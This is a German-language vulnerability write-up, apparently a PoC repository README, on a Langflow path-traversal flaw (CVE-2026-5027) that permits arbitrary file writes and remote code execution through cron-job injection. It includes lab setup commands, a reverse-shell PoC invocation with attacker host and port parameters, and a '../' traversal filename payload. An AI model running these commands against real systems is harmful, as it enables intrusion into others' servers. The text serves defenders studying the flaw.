
Langflow, Entfernte Codeausführung (RCE) durch Cron-Job-Injection mittels Path Traversal
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
Dank an Yahia Hamza, der diese Schwachstelle gemeldet und analysiert hat.
★ CVE-2026-5027 Langflow Pfad-Traversal / Beliebiger Dateischreibzugriff PoC ★

CVE-2026-5027 : Langflow Schwachstelle für beliebigen Dateischreibzugriff
Eine Pfad-Traversal-Schwachstelle in Langflow <= 1.8.4 erlaubt Angreifern, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben, indem ein manipulierter Multipart-filename an den Endpunkt /api/v2/files übergeben wird. In Bereitstellungen, in denen Auto-Login aktiviert oder die Authentifizierung anderweitig schwach durchgesetzt ist, kann dieses Problem ausgenutzt werden, um Remote-Code-Ausführung zu erreichen, indem vom Angreifer kontrollierter Inhalt in sensible Dateisystempfade geschrieben wird.
Erstellen und Ausführen der verwundbaren Umgebung mit Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Verwundbarer Endpunkt
POST /api/v2/files
Das Problem besteht, weil die Upload-Funktion dem vom Client bereitgestellten Multipart-filename-Wert vertraut. Anstatt einen sicheren serverseitigen Speichernamen zu generieren oder den aufgelösten Pfad auf ein dediziertes Upload-Verzeichnis zu beschränken, erlaubt der verwundbare Codepfad Traversal-Sequenzen wie ../, den endgültigen Zielpfad zu beeinflussen.
Infolgedessen kann ein Angreifer den vorgesehenen Speicherstamm umgehen und die Anwendung zwingen, Dateien an beliebige Stellen im Server-Dateisystem zu schreiben.
Ein repräsentativer Exploit-Ablauf ist wie folgt:
/api/v2/files.filename mit Pfad-Traversal-Sequenzen.Dies ist im Kern ein CWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis-Problem.
Der Sicherheitsfehler wird durch unzureichende Bereinigung und Validierung benutzergesteuerter Dateipfade während der Upload-Verarbeitung verursacht. Die Anwendung akzeptiert den ursprünglichen Client-Dateinamen und übergibt ihn an den Speicherworkflow, ohne die Pfadnormalisierung und -begrenzung angemessen durchzusetzen.
Aus defensiver Sicht ist das gefährliche Muster konzeptionell ähnlich wie das Folgende:
save_path = base_dir / file.filename
Wenn file.filename Pfad-Traversal-Komponenten wie enthält:
../../../../tmp/poc.txt
kann der endgültig aufgelöste Pfad außerhalb von base_dir zeigen, was einen beliebigen Dateischreibzugriff ermöglicht.
Schwachstellen für beliebiges Dateischreiben sind oft schwerwiegender als standardmäßige uneingeschränkte Upload-Probleme, da der Angreifer nicht nur den Dateiinhalt, sondern auch den Zielpfad kontrolliert. Abhängig von den Laufzeitberechtigungen des Langflow-Prozesses kann dies Folgendes ermöglichen:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Dieses Repository ist nicht dazu gedacht, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Gefährdung in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.